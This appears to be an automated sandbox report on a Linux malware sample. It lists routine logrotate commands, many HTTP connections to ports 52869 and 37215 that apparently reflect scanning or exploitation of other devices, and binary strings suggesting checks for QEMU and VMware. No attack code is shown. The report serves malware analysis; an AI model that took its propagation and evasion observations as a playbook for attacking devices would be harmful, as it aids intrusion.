Source: /usr/sbin/logrotate (PID: 5254)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "			Jump to behavior
Source: /usr/sbin/logrotate (PID: 5265)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53044 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53866 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43356 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43356 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43356 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43356 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39324 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43628 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43356 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55768 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43356 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 44734
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57250 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39760 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43356 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 53458
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54318 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38752 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41326 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 52869

Source: /tmp/DOSkhmFb90 (PID: 5283)

Queries kernel information via 'uname':

Jump to behavior

Source: /usr/sbin/logrotate (PID: 5192)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 5192)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: 5252.8.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 5252.8.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 5252.8.dr	Binary or memory string: qemu-or1k
Source: 5252.8.dr	Binary or memory string: qemu-riscv64
Source: 5252.8.dr	Binary or memory string: {cqemu
Source: 5252.8.dr	Binary or memory string: qemu-arm
Source: 5252.8.dr	Binary or memory string: (qemu
Source: 5252.8.dr	Binary or memory string: qemu-tilegx
Source: 5252.8.dr	Binary or memory string: qemu-hppa
Source: 5252.8.dr	Binary or memory string: q{rqemu%
Source: 5252.8.dr	Binary or memory string: )qemu
Source: 5252.8.dr	Binary or memory string: vmware-toolbox-cmd
Source: 5252.8.dr	Binary or memory string: qemu-ppc
Source: 5252.8.dr	Binary or memory string: Tqemu9
Source: 5252.8.dr	Binary or memory string: qemu-aarch64_be
Source: 5252.8.dr	Binary or memory string: 0qemu9
Source: 5252.8.dr	Binary or memory string: qemu-sparc64
Source: 5252.8.dr	Binary or memory string: qemu-mips64
Source: 5252.8.dr	Binary or memory string: vV:qemu9
Source: 5252.8.dr	Binary or memory string: qemu-ppc64le
Source: 5252.8.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given 